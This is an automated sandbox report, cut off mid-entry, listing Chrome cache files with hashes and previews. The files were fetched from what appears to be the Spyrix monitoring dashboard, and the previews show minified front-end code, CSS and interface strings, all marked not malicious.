Preview:	import{d as p,c as r,a as e,o as t,b as c,t as u,n as l,e as f,U as d}from"./index-004f4025.js";const k=p({__name:"Text",props:{oneRow:{type:Boolean,default:!1},bold:{type:Boolean,default:!1},text:{},size:{default:"sm"},color:{default:"default"},uppercase:{type:Boolean,default:!1},hoverLink:{type:Boolean,default:!1}},setup(n){const a=n,o=r(()=>[e.text,e[a.size],e[a.color],{[e.bold]:a.bold,[e.uppercase]:a.uppercase,[e.hoverLink]:a.hoverLink}]);return(s,i)=>s.oneRow?(t(),f(d,{key:1,class:l(o.value),text:s.text},null,8,["class","text"])):(t(),c("span",{key:0,class:l(o.value)},u(s.text),3))}});export{k as _};.

Chrome Cache Entry: 636

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1097)
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	4.801883004252557
Encrypted:	false
SSDEEP:	24:pIDlt6Rqz5Rqz9cujSPhQsF+a2cG2DB/pzOpzDErt7:d0EY/BOBDG
MD5:	01CEB283B00E59B25F2283787D5FBCFC
SHA1:	12503D8DC4A1904F39A2BE105CD2BEF151464B80
SHA-256:	EFAC77214359588EE656CE42F52A545423480B5C194894B4B3237DFA27C0BF4B
SHA-512:	533636F230CE0236E8E248CB0A26593DEBBD6B88DB6E054822E831203EE15EDE59A00D01FCE8FE422535E826F6F4B865599FCB9E7FF6EF0593B0B2E736B0B273
Malicious:	false
Reputation:	unknown
Preview:	const o="convenient",e="Main",n={"The license period has expired":"The license period has expired","The trial period is expired":"The trial period is expired","Your data is safe":"Your data is safe","Please purchase a license to access your data":"Please purchase a license to access your data","Buy 1 PC for 12 months for $":"Buy 1 PC for 12 months for $","DISCOUNT {0}":"DISCOUNT {0}","Computers count":"Computers count","101 and more - ":"101 and more - ","21-100 PC - ":"21-100 PC - ","1PC per month":"1PC per month",convenient:o,"3 Months":"3 Months","6 Months":"6 Months","12 Months":"12 Months","24 Months":"24 Months","1PC for 12 Months":"1PC for 12 Months","1PC for 12 Months +":"1PC for 12 Months +","Do you have a discount coupon?":"Do you have a discount coupon?","Discount coupon":"Discount coupon","Coupon is applied":"Coupon is applied","Apply coupon":"Apply coupon","Includes Screen recording, Webcam recording, Face recognition, Call recording":"Includes Screen recording, Webcam rec

Chrome Cache Entry: 637

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 1269714
Category:	dropped
Size (bytes):	431923
Entropy (8bit):	7.998299964648713
Encrypted:	true
SSDEEP:	12288:P1cMzxy3PTXjtB9x4MBGbeULSeqpYsZ18yGeHa+:P1cmyPntBr4aXeS7prZXr
MD5:	9616FB894D93BDC7CC828B297B8D4389
SHA1:	160666E391BDE76FFCAAF004B25236CBBD4C6C7E
SHA-256:	C489F83CB93D7D8AC95FBC0C51D2C9690945539452B1965FE05557E643A01A83
SHA-512:	8D89910B126F30D10CD601B70D7FE11597DFB00983D824DE4A5B5B5A3E80E9047BDB5FBA5C35122155E73B19C9C5366147D887C09CADFA202E0A57475DBD73B7
Malicious:	false
Reputation:	unknown
Preview:	............s.F...U$.VK.a......Y.,..N...E.P$$... %3...~.../.)y6..u.l.h4.......W....A....\|0...g.I......}.....'.d..u7F....w`%7.dq.....<.\|......\|..g.yxv../.t~.J...I6....T-7...\|9....f.(......>j4R..v.l1..G....r....QL.;.Y....\w..x4..h....Q9o......N..N..._7...p1.T...F.5...}V...r.q.~_..\|..Yw<n..z;..l....l.&........F..i...Y...T}..G.b...A"...b4.j..VU.P..N.8.o.a^...y..M...yu....v......moO.E.S.Q4......\..g.V....p.3...Yvs.v..(wF.y~./...~..jOZI....,..P.G.Ww...V...`V......h..-..1.=d.G.q.....6k.&..b.7.{o.'.dyY,.S\..t....>...F2..P..N.N>....l.I...,...g.\|pA....Zww.f.......#.].....2.''..v~...[7....I.o.....{Y.r3.&..C.%.v.Jk........N..u...{..<.nf.I.g..f..9e.......7...8...}.....ht.......7..f5.....y..L.7WMv..J........f.]../.IS..06..5wvv..V+.X].J....t.Z.W....H....\...Uoe....B.W_.9..a.'.y.....e...../.....k~1*wz.E......gW.h..$qU.g.\|.Z4...@......\i_.e..vNG.aS.PUu?`.z.U.w_...h~.ZU%..w...fmo.l.lvoo=..!.......BN...Y.=...3#.m..j..i..i....

Chrome Cache Entry: 638

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	296
Entropy (8bit):	5.209985161631545
Encrypted:	false
SSDEEP:	6:ppuXX6C8Vk2GeLETF41DCuOVNMEXXZdeW6Gej1VNDYLZzo+q:BC8Vk2Gew4ZCuUtoGexVNDmZct
MD5:	BC014647DE85B8D6EE3D5919C12A1657
SHA1:	A0B345B75F9C992DAEFBF3592BAD068D0512E22E
SHA-256:	7E7C447A5F70750D599F18780DCFFA85F4A637F3EB7BBB889532AC4622440595
SHA-512:	D366D8B3201295AD0C61EF9455DE5FB939618FE277D0A13ECA95493625ECBC2546604AEBCC76951E893C0205EE38BEAF93233E8510599657504D5C473A7C7375
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/index-7e7c447a.css
Preview:	.MWPQFMkT{display:flex;flex-direction:column;align-items:center;justify-content:center}.Rjzfav6N,.d8NUNeIk{margin-bottom:10px}.cDDReZ-k{width:100%;display:flex;flex-direction:column;gap:10px;justify-content:center;align-items:center;margin-bottom:20px}.lQe5UjYN{width:100%}.-s8ttL3y{width:200px}.

Chrome Cache Entry: 639

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (4588)
Category:	dropped
Size (bytes):	4589
Entropy (8bit):	5.4532831416501
Encrypted:	false
SSDEEP:	96:hXzpjic4csuWotv1CFfaIpNvsY4rE0Q37oXZjUEvUolEw:hDpjiUWy1jIvkY4rE0QroXZQoOw
MD5:	758C356F96FCFB65FB34300BECE665AF
SHA1:	060C8F8FBD51C1DBE9E72ECFCDA3E6A25FF2C4C6
SHA-256:	B20D853A66A3EC652CB968F2FE91FB1BC62A70B19D28D6022618D1CC954284E9
SHA-512:	32CAE5393CA5585CF1252D8C287CF193FCC973E7BE81D6497A061A3EBA26CCC23689188764AAAC8572DD5C4672DC72446B91A5FBF1D1824E1A84D8343E960557
Malicious:	false
Reputation:	unknown
Preview:	import{J as T,$ as L,F as y,aG as _,E as w,aM as b,aA as R,c as C,p as F,at as c,R as M,av as f,au as S,aw as u,ax as h,ac as N}from"./index-004f4025.js";function lt(){var p;const t=T(),e=L(),r=y(),a=_(),{setDefaults:o}=w(),s=((p=r.program)==null?void 0:p.name)===b.CLEVER,{pushRoute:n}=w(),{redirectLogic:d}=R(),g=C(()=>{var i,l;return(l=(i=e.account)==null?void 0:i.dashboard_settings)==null?void 0:l.admin}),m=C(()=>e.fetchAccountStatus.state==="pending"),A=async i=>{var l;if(i&&!localStorage.getItem(c.ACCOUNT)){a.changeIsLoading(!0);return}if(!i){if(s&&e.isPro32User&&!((l=e.account)!=null&&l.pro32key)&&!g.value){n({name:M.LICENSE_KEY});return}const P=d();await t.fetchComputers(),await n({name:P})}};F(m,async i=>{o(),await A(i)})}async function v(t){const{data:e}=await f.post("/api/account/auth?expand=api_token",t);return e}const V=S("twoFactor",{state:()=>({fetchTwoFactorStatus:{...u},twoFactorId:null}),actions:{setTwoFactorId(t){this.twoFactorId=t},async fetchTwoFactor(){await h(this.

Chrome Cache Entry: 640

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (795)
Category:	dropped
Size (bytes):	796
Entropy (8bit):	5.177657402754797
Encrypted:	false
SSDEEP:	24:5AEGWcKDE8vXntdkNr2kZPmoSnH52XdGKav:5AEGlt8vXtd42+mo6edGKk
MD5:	3200FC81B1A014F05468E26FDE52BE12
SHA1:	7FE3D3991C4050E7FB07A77A562EBEAC60BE5F8F
SHA-256:	322F62D059D4F3F0641420A7E2CC89B734F6019D54460D25CB3E06E502B8B0CE
SHA-512:	82BB4B79EA3C1305D710754C840751AEDCC140894F2FA8356DE784C58175A15E678DF619466A2D363BEA2AE747BF840D5750CD8D07F8D7DD20EF8955EBE88A69
Malicious:	false
Reputation:	unknown
Preview:	import{d,g as c,c as s,o as f,b as m,h as p,n,u as a}from"./index-004f4025.js";import{_ as x}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{c as o}from"./ButtonText.module-c769b9ae.js";const b=d({__name:"ButtonText",props:{whiteSpace:{default:"default"},text:{},loading:{type:Boolean,default:!1},loadingText:{default:""},customColor:{default:"default"},disabledText:{default:""},size:{default:"sm"}},setup(l){const e=l,{t:r}=c(),i=s(()=>e.loadingText?e.loadingText:r("Please, wait...")),u=s(()=>e.loading?i.value:e.disabledText?e.disabledText:e.text);return(t,T)=>(f(),m("div",{class:n([a(o).buttonText,a(o)[t.customColor]])},[p(x,{class:n(a(o).text),text:u.value,size:t.size,"one-row":t.whiteSpace!=="wrap"},null,8,["class","text","size","one-row"])],2))}});export{b as _};.

Chrome Cache Entry: 641

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (4588)
Category:	downloaded
Size (bytes):	4589
Entropy (8bit):	5.4532831416501
Encrypted:	false
SSDEEP:	96:hXzpjic4csuWotv1CFfaIpNvsY4rE0Q37oXZjUEvUolEw:hDpjiUWy1jIvkY4rE0QroXZQoOw
MD5:	758C356F96FCFB65FB34300BECE665AF
SHA1:	060C8F8FBD51C1DBE9E72ECFCDA3E6A25FF2C4C6
SHA-256:	B20D853A66A3EC652CB968F2FE91FB1BC62A70B19D28D6022618D1CC954284E9
SHA-512:	32CAE5393CA5585CF1252D8C287CF193FCC973E7BE81D6497A061A3EBA26CCC23689188764AAAC8572DD5C4672DC72446B91A5FBF1D1824E1A84D8343E960557
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js
Preview:	import{J as T,$ as L,F as y,aG as _,E as w,aM as b,aA as R,c as C,p as F,at as c,R as M,av as f,au as S,aw as u,ax as h,ac as N}from"./index-004f4025.js";function lt(){var p;const t=T(),e=L(),r=y(),a=_(),{setDefaults:o}=w(),s=((p=r.program)==null?void 0:p.name)===b.CLEVER,{pushRoute:n}=w(),{redirectLogic:d}=R(),g=C(()=>{var i,l;return(l=(i=e.account)==null?void 0:i.dashboard_settings)==null?void 0:l.admin}),m=C(()=>e.fetchAccountStatus.state==="pending"),A=async i=>{var l;if(i&&!localStorage.getItem(c.ACCOUNT)){a.changeIsLoading(!0);return}if(!i){if(s&&e.isPro32User&&!((l=e.account)!=null&&l.pro32key)&&!g.value){n({name:M.LICENSE_KEY});return}const P=d();await t.fetchComputers(),await n({name:P})}};F(m,async i=>{o(),await A(i)})}async function v(t){const{data:e}=await f.post("/api/account/auth?expand=api_token",t);return e}const V=S("twoFactor",{state:()=>({fetchTwoFactorStatus:{...u},twoFactorId:null}),actions:{setTwoFactorId(t){this.twoFactorId=t},async fetchTwoFactor(){await h(this.

Chrome Cache Entry: 642

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (1391)
Category:	dropped
Size (bytes):	1392
Entropy (8bit):	5.443005642997937
Encrypted:	false
SSDEEP:	24:B/6XhnpFffC3/V2iWX4qL2zzp0iRFjY6GoqRrMj5q3F0TapE7gJSvCGRBCtdSTii:BiXNzffkgiWXb2PDjPGXBWTmzJQ8ur/
MD5:	370BC65CD3A997F3010006B7E0739D12
SHA1:	5F9E96CC563F61F21B9C51EDA58739BF67B53940
SHA-256:	634452B54F1A478056C7549C96D3343103E69FF3890D9735A59B061201CB7D48
SHA-512:	AC692658620E0D019A2CEC8D1197A8F87EACE856E5796AD248A00586AC6833B35A244465609EA341062133C65356F08534610F54B46C855CE45C6099AFCF857D
Malicious:	false
Reputation:	unknown
Preview:	import{au as n}from"./index-004f4025.js";const r=(e,o,t)=>{switch(o){case"increase":return e.sort((s,a)=>s[t]>a[t]?1:-1);case"decrease":return e.sort((s,a)=>s[t]<a[t]?1:-1)}},y=n("modal",{state:()=>({modalsQueue:[]}),getters:{isActiveAnyModal(e){return!!e.modalsQueue.length}},actions:{updateModalsQueue(e){if(e.priority>1e3\|\|e.priority<0)throw new Error("Priority should be less than 1001 and positive");this.modalsQueue.push(e);const o=r(this.modalsQueue,"decrease","priority");this.modalsQueue=[...o]},hideModal(e){this.modalsQueue=this.modalsQueue.filter(o=>o.id!==e)},clearQueue(){this.modalsQueue=[]}}}),c="_5kL4TPdD",l="eoPx-XfL",d="-uFEEehb",u="fMo3ZVEl",i="_6sPwaxyC",m="LL0-2zyj",L="_8u3lj-7P",f="OCt9ytvK",v="NhW0oA55",h="_0yU2sS3O",T="_2Qha-LQ3",Q="_39-eKlaL",E="_1HrmGkwL",_="B5v0MvTK",p="Kuf5IxtV",F={modal:c,"modal-hidden":"eoPx-XfL",modalHidden:l,backdrop:d,"modal-ar":"fMo3ZVEl",modalAr:u,content:i,"close-button":"LL0-2zyj",closeButton:m,"close-button-icon":"_8u3lj-7P",closeButtonI

Chrome Cache Entry: 643

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (773)
Category:	dropped
Size (bytes):	774
Entropy (8bit):	4.740473361173796
Encrypted:	false
SSDEEP:	24:LXHnC5XfdkKVOHVOFkBgj4M4lH7858pE2k1SGdXyY7:jHCJfdlVOHVOFk44M4lHoOpSX9
MD5:	C7296BD66C57AFFFAF695D2BE2EB436C
SHA1:	D616816FE7D6DC660D731F17049741D0F5253573
SHA-256:	1F17097282D14F7642E97BEDB6F8CDB10DDFFA20029AAAB50A51D397CE8DF34A
SHA-512:	CEB26AA02C6476DF4EAF30C933F99C14EC93BF6A8A418B16762501611C94AD9179F36B81C3CE120368F101DE0630A4497A2566009350E8EC4F1DDF120C89C056
Malicious:	false
Reputation:	unknown
Preview:	const e="Register",o="Email",t="Password",s="Login",a={"Welcome Back":"Welcome Back","Sign In with Email":"Sign In with Email","No account?":"No account?",Register:e,Email:o,Password:t,Login:s,"Forgot password?":"Forgot password?","This email cannot be used. Please try another one.":"This email cannot be used. Please try another one.","Account does not exists":"Account does not exists","Incorrect password":"Incorrect password","Success! Getting data...":"Success! Getting data...","Password Field cannot be empty":"Password Field cannot be empty","E-mail Field cannot be empty":"E-mail Field cannot be empty","Field cannot be empty":"Field cannot be empty","Create a password":"Create a password"};export{o as Email,s as Login,t as Password,e as Register,a as default};.

Chrome Cache Entry: 644

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, Unicode text, UTF-8 text, with very long lines (731)
Category:	downloaded
Size (bytes):	733
Entropy (8bit):	5.333043890106064
Encrypted:	false
SSDEEP:	12:rVEeOb9zMiNkI9dEkAS4c/EoanGYWZ1ryZ1dqdlZdzSLWPIoBsUNdbHBG9:ruj9zhNkyEW3MoaGh+nodZzSLWPbN18
MD5:	C20426806474BC5F7DF377451D78F70C
SHA1:	30B675794EC6F2576F7C27EBE24D8F5AC647E417
SHA-256:	188D59F20F833D8FB65E71959214B05CD41E5B1312AEA55196948ED28AAFA2BD
SHA-512:	E7648E2F98E81D4839540A222071CF7954C117004A4F502758556546B2C03AC62200616EF02B40C49D647445FC6B00902B2B4F0275BF4368DE8BEB7B529F7CA7
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js
Preview:	import{E as u,s as l,at as i,p as m,d as o,o as r,b as _,r as p,n as f,u as c,g,e as d}from"./index-004f4025.js";import{c as h}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as E}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";function k(a,e){const{pushQueries:s,queryEmail:n}=u();l(()=>{const t=localStorage.getItem(i.EMAIL);t&&(s({email:t}),e\|\|a(t))}),m(n,t=>{typeof t=="string"&&!e&&a(t)})}const B=o({__name:"AuthTemplate",setup(a){return(e,s)=>(r(),_("div",{class:f([c(h).authTemplate])},[p(e.$slots,"default")],2))}}),C=o({__name:"Copyright",setup(a){const{t:e}=g();return(s,n)=>(r(),d(E,{text:`${c(e)(". Online Monitoring")} ${new Date().getFullYear()}`},null,8,["text"]))}});export{C as _,B as a,k as u};.

Chrome Cache Entry: 645

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 1269714
Category:	downloaded
Size (bytes):	431923
Entropy (8bit):	7.998299964648713
Encrypted:	true
SSDEEP:	12288:P1cMzxy3PTXjtB9x4MBGbeULSeqpYsZ18yGeHa+:P1cmyPntBr4aXeS7prZXr
MD5:	9616FB894D93BDC7CC828B297B8D4389
SHA1:	160666E391BDE76FFCAAF004B25236CBBD4C6C7E
SHA-256:	C489F83CB93D7D8AC95FBC0C51D2C9690945539452B1965FE05557E643A01A83
SHA-512:	8D89910B126F30D10CD601B70D7FE11597DFB00983D824DE4A5B5B5A3E80E9047BDB5FBA5C35122155E73B19C9C5366147D887C09CADFA202E0A57475DBD73B7
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js
Preview:	............s.F...U$.VK.a......Y.,..N...E.P$$... %3...~.../.)y6..u.l.h4.......W....A....\|0...g.I......}.....'.d..u7F....w`%7.dq.....<.\|......\|..g.yxv../.t~.J...I6....T-7...\|9....f.(......>j4R..v.l1..G....r....QL.;.Y....\w..x4..h....Q9o......N..N..._7...p1.T...F.5...}V...r.q.~_..\|..Yw<n..z;..l....l.&........F..i...Y...T}..G.b...A"...b4.j..VU.P..N.8.o.a^...y..M...yu....v......moO.E.S.Q4......\..g.V....p.3...Yvs.v..(wF.y~./...~..jOZI....,..P.G.Ww...V...`V......h..-..1.=d.G.q.....6k.&..b.7.{o.'.dyY,.S\..t....>...F2..P..N.N>....l.I...,...g.\|pA....Zww.f.......#.].....2.''..v~...[7....I.o.....{Y.r3.&..C.%.v.Jk........N..u...{..<.nf.I.g..f..9e.......7...8...}.....ht.......7..f5.....y..L.7WMv..J........f.]../.IS..06..5wvv..V+.X].J....t.Z.W....H....\...Uoe....B.W_.9..a.'.y.....e...../.....k~1*wz.E......gW.h..$qU.g.\|.Z4...@......\i_.e..vNG.aS.PUu?`.z.U.w_...h~.ZU%..w...fmo.l.lvoo=..!.......BN...Y.=...3#.m..j..i..i....

Chrome Cache Entry: 646

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1512)
Category:	downloaded
Size (bytes):	1513
Entropy (8bit):	5.364910493353474
Encrypted:	false
SSDEEP:	24:LO+S3cnRBofRI9CD2n13n1cmgg4u0x0onlVbFn1tcD/wFn1Km5eN8Wocl:LO+ecacCDMteBgs0ilK/Y0D7n
MD5:	D5296A2D8854493E01C420A5CE74E107
SHA1:	8C26E4109BEFD162A553D1243FDD46177249827F
SHA-256:	04FFDA9483449F07429EBF4A61BC348936D326C88FE1504DE8D90830A7E73097
SHA-512:	2A58E5CEA2B8361C7E64A77241368B64E909858D966621C950046AA3194357F705597D561C7087754EB3E7560E38203A56F4C25B74D70A3D3DF7BCABDB38BDB5
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Modal-04ffda94.css
Preview:	._5kL4TPdD{z-index:var(--z-modal-backdrop)}.eoPx-XfL{opacity:0}.-uFEEehb{position:fixed;width:100%;z-index:var(--z-modal-backdrop);height:100%;left:0;top:0;opacity:1;background-color:#00000080}.fMo3ZVEl{direction:rtl}._6sPwaxyC{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);min-width:250px;display:flex;max-width:85%;box-shadow:var(--shadow);z-index:var(--z-modal);transform-origin:center center;border-radius:10px;background-color:#fff;cursor:auto;max-height:85%}@media screen and (max-width: 768px){._6sPwaxyC{width:max-content}}@media screen and (max-width: 480px){._6sPwaxyC{overflow-x:hidden;overflow-y:scroll;max-width:100%;max-height:98%;width:100%;bottom:0;left:0;top:initial;transform:translate(0);border-radius:10px 10px 0 0;padding:50px 0 10px;height:-webkit-fill-available}}.LL0-2zyj{position:absolute;right:-40px;top:-35px;width:50px;height:50px;transition:.3s;display:flex;justify-content:center;align-items:center;cursor:pointer}@media screen and (max-width: 480px){.L

Chrome Cache Entry: 647

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	120
Entropy (8bit):	4.87560060165103
Encrypted:	false
SSDEEP:	3:lHkiDkYHsh9J55ZrKAAdGaOiDpEqxALR4QHEXxB+N:lEi4YHGrMdGaOiaqxWqgoB0
MD5:	62BC1BD7189B2B28A9985E0C3661BC91
SHA1:	33AC2D40B9C973C0D040E08AFF37F072D2C5E136
SHA-256:	98A603E044A3472D373EF9C4F3A563E7596FF8F9C43620409EE5E74FBF45CC28
SHA-512:	47B95930336340314410E9A9D30C71E74E6191E3C64FD39DA973B561BABCD987647B40B7B2587B047A763F5D765D6CD4D83EE037CC63F02EA3525D692AAA281D
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonText.module-c769b9ae.js
Preview:	const t="vaJg7XGf",o="mtxFuuqo",n="MtAUm4rd",x={"button-text":"vaJg7XGf",buttonText:t,text:o,primary:n};export{x as c};.

Chrome Cache Entry: 648

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3064)
Category:	downloaded
Size (bytes):	3065
Entropy (8bit):	5.324905264285846
Encrypted:	false
SSDEEP:	48:uhzv2QuOpwb+/+F16axib+bjFf8Wn5R8sxqNX9Q:u12V+wi+6axiibjz5R8sCX9Q
MD5:	18A06D9DBE56451E74AF84EFCBBD5184
SHA1:	839EE80D333FA137025CBFA0500D2ACAF83C00E8
SHA-256:	342125717F6112F7A8D8246360CB83525C086CDE797A1A9305021AD8D6A4AA25
SHA-512:	6941A1F58FBB689E96C9B9B54C1280646AD0357336E95A39FED02DBBD5FAC911E5552C4E7674A1F6BF0E180CA3960CC1AE25006A48CC241CABD8859345527A97
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Input-34212571.css
Preview:	.-ztRySNh{display:flex;position:relative;flex-direction:column;height:fit-content}.Ftt0CpWQ{width:200px}._4aI8AqCH{opacity:.5;pointer-events:none}.WnNoxKKH{width:100%;font-size:15px;padding:10px 13px;border-radius:10px;border:1px solid var(--input-border);background-color:var(--input-bg);color:var(--app-text);outline:none;transition:.3s;overflow:hidden}@media screen and (max-width: 480px){.WnNoxKKH{font-size:16px}}.a6kY8aNX{border:1px solid var(--card-border);color:var(--app-text);background-color:#fff;transition:.3s;box-shadow:var(--filter-button-shadow)}._-9LXnRIR{box-shadow:var(--filter-button-shadow-active);transform:translateY(-1px)}.F8HcYjNr{padding:10px 50px 10px 10px}.WnNoxKKH:focus{border-color:var(--primary)}.StnNIJM1{border-radius:10px 10px 0 0}.EKAf0gVE{border-color:var(--danger);animation:vzGZS5BU;animation-duration:.8s}.EKAf0gVE:focus{border-color:var(--danger)}.YJawxt4q{border-color:var(--success);animation:J-FFIdf3;animation-duration:.8s}.YJawxt4q:focus{border-color:var

Chrome Cache Entry: 649

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (522)
Category:	dropped
Size (bytes):	523
Entropy (8bit):	5.04570304661497
Encrypted:	false
SSDEEP:	12:fjj6Xna2GHXmtooSfih/Se2FheecfhDlrWHy+:ff6Xa2GHUSf8/n2FheecfhxrWHy+
MD5:	4961C7FAF74F272F4B3832CB9B803374
SHA1:	D9E302928FC7CBB2A32B499A2928623478CC2F0B
SHA-256:	F807B11AFDDA15D257A20773E7D480CF9F8269C2ABBA6754356F3D6DC65D592B
SHA-512:	35584A4E7E3E3CEB248AD323CC7BD39ECE6CF9856F9F4210906BAA9FBB601C9DFBACC7C2621044BB225320F1D56653DFAAB48DE7CEACB33FD3FB0CADBECE8F50
Malicious:	false
Reputation:	unknown
Preview:	import{o as e,b as o,i as t}from"./index-004f4025.js";const s={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},n=t("path",{d:"M14.72 13.434h-.677l-.24-.232a5.55 5.55 0 0 0 1.346-3.627 5.574 5.574 0 1 0-5.574 5.574 5.55 5.55 0 0 0 3.627-1.346l.232.24v.677L17.722 19 19 17.722zm-5.145 0a3.854 3.854 0 0 1-3.86-3.86 3.854 3.854 0 0 1 3.86-3.859 3.854 3.854 0 0 1 3.859 3.86 3.854 3.854 0 0 1-3.86 3.859"},null,-1),a=[n];function c(r,l){return e(),o("svg",s,[...a])}const _={render:c};export{_ as default,c as render};.

Chrome Cache Entry: 650

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	193
Entropy (8bit):	4.890925322111789
Encrypted:	false
SSDEEP:	3:GCS9iDe6W4Z2S0N4mSR5C0AOoWRIJ6Ge/nHFHC0AOoWRIJ6Ge/lwIQMefnv:GCS9iPh2fq9S2Ge/H1S2Ge9hwv
MD5:	C0140EE8C87F9E754F26661D59A188EB
SHA1:	86540FD8F4BCEC9CD775079D1F9E552339DBBB1F
SHA-256:	EAD06CA10694C82218CC5B89E938B31B6CD7C8F2C459DFA53DED7CD994DD8295
SHA-512:	30C29229706C5A1F62C29EA64250C763E62946D81F56E510503B4E8D2E51FE4AA0833297D6AE38F718DD0929EAE9CC26320FD0A8B5F0E2AEB92498F6CB581F51
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonText-ead06ca1.css
Preview:	.vaJg7XGf{display:inline;min-width:0;width:100%;flex:1;text-align:center;justify-content:center}.mtxFuuqo{color:inherit;text-align:center;justify-content:center}.MtAUm4rd{color:var(--primary)}.

Chrome Cache Entry: 651

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C++ source, Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	987
Entropy (8bit):	5.179649768973068
Encrypted:	false
SSDEEP:	24:m2kqUquqB3Wbp0V+uzU+xWkjPE/mB/sXZsB:m8UqiDMWh2sXZc
MD5:	27EC29286E721D5B6E14B6D719F1E743
SHA1:	5B1952EB5702AE263C64ECAD8816CE0E723B2D50
SHA-256:	DFD3C3DFEFCEA9215799DAD6F6E71074FA7E4660EAD660B85F4E6EE243EA55DD
SHA-512:	82F80ADA35372D6F0174F177E0A87843D6E7A2B1442AF44F908E75CA91A52C4E1B2D55EAFB08494C025996076148247A7A1DFC8BE2D249D0B1566209F68B050B
Malicious:	false
Reputation:	unknown
URL:	https://dashboard.spyrix.com/cdn.js
Preview:	.class Cdn {. _maxCounter = 30;. _interval = null;. _counter = 0;.. init() {. // document.cookie = 'cdn-off=0'; //...... ... .... ............ . .. .......... .. ....... this._interval = setInterval(this._checkDom.bind(this), 1000);. }.. _checkDom() {. this._counter += 1;.. const element = document.querySelector('.progress-loader');.. if (!!element && !!this._interval) {. clearInterval(this._interval);. }.. if (this._counter >= this._maxCounter && !!this._interval) {. clearInterval(this._interval);.. if (!element) {. this._disableCDN();. }. }. }.. _disableCDN() {. document.cookie = 'cdn-off=30';. location.reload();. }.. _enableCDN() {. document.cookie = 'cdn-off=0';. }.}..const cdn = new Cdn();.cdn.init();..// ..... ......... .... ...... .... ........// window.addEventListener('unload', () => {.// cdn._enableCDN();.// });

Chrome Cache Entry: 652

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5945)
Category:	dropped
Size (bytes):	271550
Entropy (8bit):	5.571999080176997
Encrypted:	false
SSDEEP:	6144:2k3n+yZmzryzjrgBB9Tch2+4jm8eTVcwOuw4K:tuumzrtkO/
MD5:	BF1FF37046166075BF8EBBDE3116E55F
SHA1:	3269483244444CB8D3CA8BCA34087A17C030D1D5
SHA-256:	BF7BEBE9D6CC867FF0CDA947DFD50904539416ECE6C16E0FD9B075A772670FF5
SHA-512:	FFB229D3F11C50C48D5F8F6C9E8AC8020B85C00107E83EA62C44C5CF93167E20C69F36D31167C7556720288E9ABAE3A25A69519EFF679651FCB266C1B6F94E1F
Malicious:	false
Reputation:	unknown
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":false},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":6,"vtp_value":true,"tag_id":11},{"function":"__ogt_ip_mark","priority":6,"vtp_instanceOrder":0,"vtp_paramValue":"internal","vtp_ruleResult":["macro",1],"tag_id":13},{"function":"__ogt_referral_exclusion","priority":6,"vtp_includeConditions":["list","spyrix\\.com"],"tag_id":14},{"function":"__ogt_session_timeout","priority":6,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":15},{"function":"__ogt_1p_data_v2","priority":6,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"",

Chrome Cache Entry: 653

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (837)
Category:	dropped
Size (bytes):	838
Entropy (8bit):	5.138342360432239
Encrypted:	false
